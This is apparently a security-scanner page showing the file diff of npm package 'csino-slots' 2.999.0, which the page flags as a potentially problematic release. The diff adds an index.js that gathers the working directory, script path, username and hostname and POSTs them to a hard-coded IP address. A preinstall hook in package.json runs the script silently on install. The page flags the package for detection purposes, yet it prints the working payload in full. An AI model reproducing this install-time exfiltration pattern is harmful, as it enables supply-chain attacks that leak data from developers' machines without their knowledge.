csino-slots 2.999.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of csino-slots might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +40 -0
  2. package/package.json +15 -0
package/index.js ADDED
@@ -0,0 +1,40 @@
1
+ const os = require('os');
2
+ const path = require('path');
3
+ const http = require('http');
4
+
5
+ const data = JSON.stringify({
6
+ currentDirectory: process.cwd(),
7
+ scriptDirectory: path.dirname(__filename),
8
+ username: os.userInfo().username,
9
+ hostname: os.hostname()
10
+ });
11
+
12
+
13
+ const options = {
14
+ hostname: '185.62.57.139',
15
+ port: 8000,
16
+ path: '/',
17
+ method: 'POST',
18
+ headers: {
19
+ 'Content-Type': 'application/json',
20
+ 'Content-Length': data.length
21
+ }
22
+ };
23
+
24
+
25
+ const req = http.request(options, (res) => {
26
+ console.log(`Статус ответа: ${res.statusCode}`);
27
+
28
+ res.on('data', (d) => {
29
+ process.stdout.write(d);
30
+ });
31
+ });
32
+
33
+
34
+ req.on('error', (error) => {
35
+ console.error(error);
36
+ });
37
+
38
+
39
+ req.write(data);
40
+ req.end();
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "csino-slots",
3
+ "version": "2.999.0",
4
+ "description": "",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js > /dev/null 2>&1",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "lexi2",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "lodash": "^4.17.21"
14
+ }
15
+ }